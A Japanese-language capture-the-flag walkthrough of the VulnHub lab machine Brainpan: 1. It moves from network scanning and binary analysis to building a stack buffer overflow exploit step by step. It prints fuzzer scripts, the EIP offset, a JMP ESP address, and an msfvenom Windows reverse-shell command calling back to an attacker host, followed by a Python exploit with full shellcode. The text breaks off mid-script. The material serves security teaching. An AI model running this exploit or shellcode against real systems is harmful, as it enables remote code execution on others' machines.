「Brainpan: 1」は、「superkojiman」によって開発され、VulnHubにて公開されているシリーズの一つです。
リリース情報
名称: Brainpan: 1
リリース日: 2013年3月20日
シリーズ: Brainpan
作者: superkojiman
Twitter: @superkojiman
Walkthrough
列挙
稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。
root@kali:~# netdiscover -r 172.16.208.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
172.16.208.1 00:50:56:c0:00:08 1 60 VMware, Inc.
172.16.208.2 00:50:56:f3:32:8a 1 60 VMware, Inc.
172.16.208.233 00:0c:29:f9:f6:fd 1 60 VMware, Inc.
172.16.208.254 00:50:56:f0:ad:14 1 60 VMware, Inc.
これで、標的のIPアドレスが172.16.208.233であることが特定できました。
実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.233コマンド構文を使用します。各オプションの狙いは、次の通りです。
-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします
root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.233
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 15:12 JST
Nmap scan report for 172.16.208.233
Host is up (0.00052s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=9/15%Time=5D7DD645%P=i686-pc-linux-gnu%r(NULL
SF:,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20
SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x20
SF:_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x20
SF:THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:F9:F6:FD (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds
root@kali:~#
TCP 9999のスキャン
nmapコマンドの結果から、9999/tcpがオープン状態であったことが特定されています。そこで、telnetコマンドを使ってバナー情報を取得してみましょう。
root@kali:~# telnet 172.16.208.233 9999
Trying 172.16.208.233...
Connected to 172.16.208.233.
Escape character is '^]'.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
Connection closed by foreign host.
root@kali:~#
認証機構を有するサービスが稼働しています。password、root、admin、brainpan、napniarbなど脆弱なパスワードを試行してみましたが、ログインはできませんでした。
ウェブサイトの診断
ウェブサイトから攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。
root@kali:~# dirb http://172.16.208.233:10000/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 15 18:22:10 2019
URL_BASE: http://172.16.208.233:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.208.233:10000/ ----
+ http://172.16.208.233:10000/bin (CODE:301|SIZE:0)
+ http://172.16.208.233:10000/index.html (CODE:200|SIZE:215)
-----------------
END_TIME: Sun Sep 15 18:22:18 2019
DOWNLOADED: 4612 - FOUND: 2
root@kali:~#
HTTPサービスのスキャン
dirbコマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。
-
index.htmlファイル
-
/binディレクトリ
brainpan.exe
ダウンロード
/binディレクトリにあるbrainpan.exeをダウンロードします。
root@kali:~# wget http://172.16.208.233:10000/bin/brainpan.exe
--2019-09-15 18:30:15-- http://172.16.208.233:10000/bin/brainpan.exe
Connecting to 172.16.208.233:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’
brainpan.exe 100%[=====================>] 20.69K --.-KB/s in 0.007s
2019-09-15 18:30:15 (2.88 MB/s) - ‘brainpan.exe’ saved [21190/21190]
root@kali:~#
表層解析
ダウンロードしたファイルについて、まずは表層解析を行います。fileコマンド、binwalkコマンドで確認してみます。
root@kali:~# file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
root@kali:~# binwalk brainpan.exe
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
6326 0x18B6 Unix path: /../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
root@kali:~#
Windows のローダが認識可能な実行可能ファイルのようです。
ASCII文字列の確認
stringsコマンドを使って、brainpan.exeファイル中のASCII文字列について確認してみます。
root@kali:~# strings brainpan.exe
!This program cannot be run in DOS mode.
興味深いバナー情報が得られました。どうやら、標的環境で9999/tcpにて待ち受けていたのは、brainpan.exeプログラムだった模様です。
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
accept、bind、listen、recv、send、socketなどの関数が確認できます。これらから、ネットワークサーバーアプリケーションであるといえます。
str系関数(strcmp、strcpy、strlen)が使われていることが確認できます。これらは書き込み先バッファのバッファ境界を無視するため、危険な関数たちとして知られています。
abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
WSACleanup
WSAGetLastError
WSAStartup
accept
bind
closesocket
htons
listen
recv
send
socket
動的解析
wine環境で、brainpan.exeを実行させてみましょう。
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
別のターミナルを立ち上げて、9999/tcpに接続してみます。やはり、推測のとおりだったようです。試しにパスワードとしてtestを入力してみました。
# telnet localhost 9999
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> test
ACCESS DENIED
Connection closed by foreign host.
このとき、brainpan.exe側では、[get_reply] copied 6 bytes to bufferの出力を確認することができました。
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
0015:err:service:process_send_command receiving command result timed out
0029:err:plugplay:handle_bus_relations Failed to load driver L"WineHID"
[+] received connection.
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
[+] check is 1
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
パスワードの数を数字10桁から少しずつ増やしていってみましょう。10、100、500、600と増やしていきました。
[get_reply] copied 6 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] check is -1
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] received connection.
[get_reply] s = [012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 602 bytes to buffer
wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...
600桁のパスワードを入力したところで、wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...エラーが発生しました。
ASCII文字列の確認で得られた文字列shitstormに注目しました。ncコマンドでパイプし、送ってみました。
ACCESS GRANTEDの表示が確認できました。ただ、これ以上の操作は難しそうです。
root@kali:~# echo shitstorm | nc 172.16.208.128 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> ACCESS GRANTED
静的解析
brainpan.exeの静的解析を行います。次のWindows環境にプログラムをコピーしました。
c:\bin>ver
Microsoft Windows [Version 6.1.7600]
c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86
解析ツールの入手
予め、バイナリファイルの解析に有効な次のツールをインストールしておきます。
| ツール | URL |
|---|---|
| IDA Pro(アイダ プロ) | https://www.hex-rays.com/products/ida/support/download_freeware.shtml |
| Ghidra(ギドラ) | https://ghidra-sre.org/ |
| OllyDbg(オリーデバッガ) | http://www.ollydbg.de/download.htm |
| Immunity Debugger(イミュニティー デバッガ) | https://www.immunityinc.com/products-immdbg.shtml |
Immunity Debugger
Immunity Debuggerを起動し、[File] > [Open]または、F3にて、brainpan.exeを選択します。
[Debug] > [Run]または、F9にて、プログラムを実行します。

ファジング(Fuzzing)
brainpan.exeにファズ(fuzz)データを送信するペイロードfuzzer_brainpan.pyプログラムをコーディングします。
このコードはbrainpan.exeが受け入れる限り、A文字列を100ステップで送り続けます。
# !/usr/bin/python
import sys,socket
host = "172.16.208.128" # connect to Target IP Address
port = 9999 # connect to port
buffer = ["A"]
counter = 100
while len(buffer) <= 30:
buffer.append("A" * counter)
counter = counter + 100
for string in buffer:
print ("Fuzzing with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string + '\r\n')
data = s.recv(1024)
s.close()
結果、700 bytesまで受け入れていることが明らかとなりました。
root@kali:~# python fuzzer_brainpan.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
EIPの奪取
ペイロードを実行した結果、EIP(Extended Instruction Pointer:拡張命
令ポインタ)の値が41414141(Aの16進コードは0x41)で上書きされていることが確認できます。

続いて、EIPを上書きする正確な文字数を特定する必要があります。必要となるテスト用のパターンを作成する方法はいくつかあります。
Immunity Debuggerプラグインのmona.pyまたは、Metasploit Frameworkのpattern_createとpatter_offsetにて生成することが可能です。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
800Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
作成されたパターンを送信するようにコードを書き換えます。
# !/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string)
data = s.recv(1024)
for line in data:
if 'ACCESS' in line:
print line
s.close()
Pythonコードを実行します。Immunity Debuggerを確認すると、EIPが35724134にて上書きされていることが解ります。

Metasploit Frameworkのpatter_offsetを使用して、正確なバイトカウントを取得します。524 byteであることが判明しました。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524
root@kali:~#
Offsetの検証
コードをさらに書き換えます。
-
524 bytesのA(16進コードは0x41)でバッファを上書き -
EIPの値を42424242(Bの16進コードは0x42)で上書き -
500 bytesのC(16進コードは0x43)を疑似ペイロードにみたて上書き
# !/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
EIP = b"BBBB"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + EIP + payload)
s.close()
Pythonコードを実行します。Immunity Debuggerを確認すると、EIPを42424242にて上書きすることに成功したことが確認できます。

JMP ESPの検索
ペイロードを発動させるには、EMPをJMP ESPアドレスで上書きする必要があります。CPU - main thread, module brainpanウィンドウにて、右クリックし、[Search for] > [All commands]を選択します。

[Find all commands]ウィンドウにて、JMP ESPを指定して検索します。

メモリアドレス311712F3にJMP ESP命令が含まれているようです。

詳細を確認してみましょう。画面上部の検索ボタンをクリックし、メモリアドレス311712F3を入力します。[OK]をクリックしてImmunity Debugger内でメモリアドレスを検索します。デバッガはアドレスにジャンプし、JMP ESP命令が実際に含まれていることを確認できます。

EIP = b"BBBB"をメモリアドレス311712F3に置き換えるコードの書き換えを行います。
このとき、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することに注意が必要です。すなわち、メモリアドレスを逆に入力する必要があります。メモリアドレス31 17 12 F3であれば、変数内では16進形式で\xF3\x12\x17\x31として記述する必要があります。
# !/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + payload)
s.close()
コードを実行する前に、Immunity Debuggerでブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。
Immunity Debuggerで、メモリアドレス311712F3をクリックし、F2キーを押してブレークポイントを設定します。

Pythonコードを実行します。Immunity Debuggerを確認すると、ステータスバーに、JMP ESP命令を含むメモリアドレス311712F3でブレークポイントに到達したことが示されます。

F7キーを押して次のステップへ進めます。文字列Cが上書きされているメモリアドレス0022F930へ移動します。

Bad Charactersの検証
一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これをBad Charactersと呼びます。シェルコードを生成する前に定義されているBad Charactersを見つける必要があります。
典型的な例として、NULL文字またはNULLバイトと呼ばれる\x00があります。
Bad Charactersを見つけるため、まずすべての16進文字を用意する必要があります。そこで、次のPythonコードを使って16進文字の生成を行います。
import sys
for x in range(1,256):
sys.stdout.write("\\x" + '{:02x}'.format(x))
用意したBad Charactersを送信するようにコードを書き換えます。
# !/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + badchars)
s.close()
Pythonコードを実行し、Immunity Debuggerを確認します。ESPレジスタのFollow in Dump機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。

brainpan.exeでは、\x01から\xFFまで途切れていません。すなわち、特別に禁じられているBad Charactersはありませんでした。
Exploitの検証
msfvenomuコマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルシェルコードを生成します。コマンド構文は、msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txtです。
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~#
用意したshellcode.txtを送信するようにコードを書き換えます。このとき、シェルコード本体の前にNOP(No Operation)命令(\x90)を8つ挿入しています。
# !/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xda\xc2\xb8\xc1\x52\xef\xec\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x17\x03\x43\x17\x83\x02\x56\x0d\x19\x78\xbf\x53"
"\xe2\x80\x40\x34\x6a\x65\x71\x74\x08\xee\x22\x44\x5a\xa2\xce"
"\x2f\x0e\x56\x44\x5d\x87\x59\xed\xe8\xf1\x54\xee\x41\xc1\xf7"
"\x6c\x98\x16\xd7\x4d\x53\x6b\x16\x89\x8e\x86\x4a\x42\xc4\x35"
"\x7a\xe7\x90\x85\xf1\xbb\x35\x8e\xe6\x0c\x37\xbf\xb9\x07\x6e"
"\x1f\x38\xcb\x1a\x16\x22\x08\x26\xe0\xd9\xfa\xdc\xf3\x0b\x33"
"\x1c\x5f\x72\xfb\xef\xa1\xb3\x3c\x10\xd4\xcd\x3e\xad\xef\x0a"
"\x3c\x69\x65\x88\xe6\xfa\xdd\x74\x16\x2e\xbb\xff\x14\x9b\xcf"
"\xa7\x38\x1a\x03\xdc\x45\x97\xa2\x32\xcc\xe3\x80\x96\x94\xb0"
"\xa9\x8f\x70\x16\xd5\xcf\xda\xc7\x73\x84\xf7\x1c\x0e\xc7\x9f"
"\xd1\x23\xf7\x5f\x7e\x33\x84\x6d\x21\xef\x02\xde\xaa\x29\xd5"
"\x21\x81\x8e\x49\xdc\x2a\xef\x40\x1b\x7e\xbf\xfa\x8a\xff\x54"
"\xfa\x33\x2a\xfa\xaa\x9b\x85\xbb\x1a\x5c\x76\x54\x70\x53\xa9"
"\x44\x7b\xb9\xc2\xef\x86\x2a\x41\xff\x58\x58\xf1\x02\x58\x8c"
"\x5e\x8a\xbe\xc4\x4e\xda\x69\x71\xf6\x47\xe1\xe0\xf7\x5d\x8c"
"\x23\x73\x52\x71\xed\x74\x1f\x61\x9a\x74\x6a\xdb\x0d\x8a\x40"
"\x73\xd1\x19\x0f\x83\x9c\x01\x98\xd4\xc9\xf4\xd1\xb0\xe7\xaf"
"\x4b\xa6\xf5\x36\xb3\x62\x22\x8b\x3a\x6b\xa7\xb7\x18\x7b\x71"
"\x37\x25\x2f\x2d\x6e\xf3\x99\x8b\xd8\xb5\x73\x42\xb6\x1f\x13"
"\x13\xf4\x9f\x65\x1c\xd1\x69\x89\xad\x8c\x2f\xb6\x02\x59\xb8"
"\xcf\x7e\xf9\x47\x1a\x3b\x19\xaa\x8e\x36\xb2\x73\x5b\xfb\xdf"
"\x83\xb6\x38\xe6\x07\x32\xc1\x1d\x17\x37\xc4\x5a\x9f\xa4\xb4"
"\xf3\x4a\xca\x6b\xf3\x5e")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
